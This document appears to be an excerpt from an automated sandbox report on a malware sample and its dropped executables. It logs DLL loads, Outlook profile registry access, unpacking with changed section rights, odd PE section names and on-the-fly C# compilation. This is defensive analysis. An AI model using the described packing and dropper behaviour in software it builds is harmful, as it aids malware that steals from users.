Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Section loaded: mskeyprotect.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Bridgecontainerserver\BrokerhostNet.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: file.exe

Static file information: File size 3004928 > 1048576

Source: file.exe

Static PE information: Raw size of rqqcubuq is bigger than: 0x100000 < 0x2ac000

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: muNJF0r.exe, 00000009.00000003.2226055818.0000000006A74000.00000004.00000020.00020000.00000000.sdmp, muNJF0r.exe, 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmp, muNJF0r.exe, 00000009.00000000.2224183663.0000000000BD3000.00000002.00000001.01000000.00000009.sdmp, muNJF0r.exe, 00000009.00000003.2226609838.0000000007387000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.pdb source: BrokerhostNet.exe, 00000010.00000002.2629571688.000000000392E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.pdb source: BrokerhostNet.exe, 00000010.00000002.2629571688.000000000392E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.pdb source: BrokerhostNet.exe, 00000010.00000002.2629571688.000000000392E000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.ce0000.0.unpack :EW;.rsrc:W;.idata :W;rqqcubuq:EW;amadlxue:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rqqcubuq:EW;amadlxue:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.970000.0.unpack :EW;.rsrc:W;.idata :W;rqqcubuq:EW;amadlxue:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rqqcubuq:EW;amadlxue:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.970000.0.unpack :EW;.rsrc:W;.idata :W;rqqcubuq:EW;amadlxue:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rqqcubuq:EW;amadlxue:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Unpacked PE file: 11.2.26624fe56e.exe.9e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ubvmxkob:EW;xdawalmh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ubvmxkob:EW;xdawalmh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Unpacked PE file: 49.2.4007342d09.exe.cd0000.0.unpack :EW;.rsrc:W;.idata :W;hwkjnpms:EW;hgincagx:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.cmdline"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.cmdline"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.cmdline"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.cmdline"

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe

File created: C:\Bridgecontainerserver\__tmp_rar_sfx_access_check_6119359

Jump to behavior

Source: muNJF0r.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x23425e
Source: random[1].exe1.7.dr	Static PE information: real checksum: 0x1c360b should be: 0x1bee2a
Source: BrokerhostNet.exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x1e6b31
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2dfcbe should be: 0x2ec099
Source: 9e7ab8eefc.exe.7.dr	Static PE information: real checksum: 0x44761b should be: 0x446772
Source: 4007342d09.exe.7.dr	Static PE information: real checksum: 0x2c1829 should be: 0x2b7e58
Source: 376a884392.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0xa49a
Source: random[2].exe.7.dr	Static PE information: real checksum: 0x2c1829 should be: 0x2b7e58
Source: RF8NX0YG4PUTM41CGFP36UTXEI9.exe.12.dr	Static PE information: real checksum: 0x1c360b should be: 0x1bee2a
Source: random[1].exe.7.dr	Static PE information: real checksum: 0x1cb0e2 should be: 0x1cd51f
Source: MCdUWiJkswOzRL.exe.16.dr	Static PE information: real checksum: 0x0 should be: 0x1e6b31
Source: 91a3357555.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0xd098
Source: random[1].exe0.7.dr	Static PE information: real checksum: 0x1d07e2 should be: 0x1ceceb
Source: 26624fe56e.exe.7.dr	Static PE information: real checksum: 0x1cb0e2 should be: 0x1cd51f
Source: file.exe	Static PE information: real checksum: 0x2dfcbe should be: 0x2ec099
Source: muNJF0r[1].exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x23425e
Source: random[2].exe2.7.dr	Static PE information: real checksum: 0x44761b should be: 0x446772
Source: GCPU1MQ2Z7D5AGIRNVCF0.exe.12.dr	Static PE information: real checksum: 0x2c1829 should be: 0xdc7fe

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: rqqcubuq
Source: file.exe	Static PE information: section name: amadlxue
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: rqqcubuq
Source: skotes.exe.0.dr	Static PE information: section name: amadlxue
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[2].exe.7.dr	Static PE information: section name:
Source: random[2].exe.7.dr	Static PE information: section name: .idata
Source: random[2].exe.7.dr	Static PE information: section name: hwkjnpms
Source: random[2].exe.7.dr	Static PE information: section name: hgincagx
Source: random[2].exe.7.dr	Static PE information: section name: .taggant
Source: 4007342d09.exe.7.dr	Static PE information: section name:
Source: 4007342d09.exe.7.dr	Static PE information: section name: .idata
Source: 4007342d09.exe.7.dr	Static PE information: section name: hwkjnpms
Source: 4007342d09.exe.7.dr	Static PE information: section name: hgincagx
Source: 4007342d09.exe.7.dr	Static PE information: section name: .taggant
Source: muNJF0r[1].exe.7.dr	Static PE information: section name: .didat
Source: muNJF0r.exe.7.dr	Static PE information: section name: .didat
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: ubvmxkob
Source: random[1].exe.7.dr	Static PE information: section name: xdawalmh
Source: random[1].exe.7.dr	Static PE information: section name: .taggant
Source: 26624fe56e.exe.7.dr	Static PE information: section name:
Source: 26624fe56e.exe.7.dr	Static PE information: section name: .idata
Source: 26624fe56e.exe.7.dr	Static PE information: section name:
Source: 26624fe56e.exe.7.dr	Static PE information: section name: ubvmxkob
Source: 26624fe56e.exe.7.dr	Static PE information: section name: xdawalmh
Source: 26624fe56e.exe.7.dr	Static PE information: section name: .taggant
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: ghqbbjwf
Source: random[1].exe0.7.dr	Static PE information: section name: ewjbyiey
Source: random[1].exe0.7.dr	Static PE information: section name: .taggant
Source: random[1].exe1.7.dr	Static PE information: section name:
Source: random[1].exe1.7.dr	Static PE information: section name: .idata
Source: random[1].exe1.7.dr	Static PE information: section name:
Source: random[1].exe1.7.dr	Static PE information: section name: adligwjc
Source: random[1].exe1.7.dr	Static PE information: section name: fnzkdoce
Source: random[1].exe1.7.dr	Static PE information: section name: .taggant
Source: random[2].exe2.7.dr	Static PE information: section name:
Source: random[2].exe2.7.dr	Static PE information: section name: .idata
Source: random[2].exe2.7.dr	Static PE information: section name:
Source: random[2].exe2.7.dr	Static PE information: section name: slztyuaa
Source: random[2].exe2.7.dr	Static PE information: section name: okprrvvq
Source: random[2].exe2.7.dr	Static PE information: section name: .taggant
Source: 9e7ab8eefc.exe.7.dr	Static PE information: section name:
Source: 9e7ab8eefc.exe.7.dr	Static PE information: section name: .idata
Source: 9e7ab8eefc.exe.7.dr	Static PE information: section name:
Source: 9e7ab8eefc.exe.7.dr	Static PE information: section name: slztyuaa
Source: 9e7ab8eefc.exe.7.dr	Static PE information: section name: okprrvvq
Source: 9e7ab8eefc.exe.7.dr	Static PE information: section name: .taggant
Source: GCPU1MQ2Z7D5AGIRNVCF0.exe.12.dr	Static PE information: section name:
Source: GCPU1MQ2Z7D5AGIRNVCF0.exe.12.dr	Static PE information: section name: .idata
Source: GCPU1MQ2Z7D5AGIRNVCF0.exe.12.dr	Static PE information: section name: hwkjnpms
Source: GCPU1MQ2Z7D5AGIRNVCF0.exe.12.dr	Static PE information: section name: hgincagx
Source: GCPU1MQ2Z7D5AGIRNVCF0.exe.12.dr	Static PE information: section name: .taggant
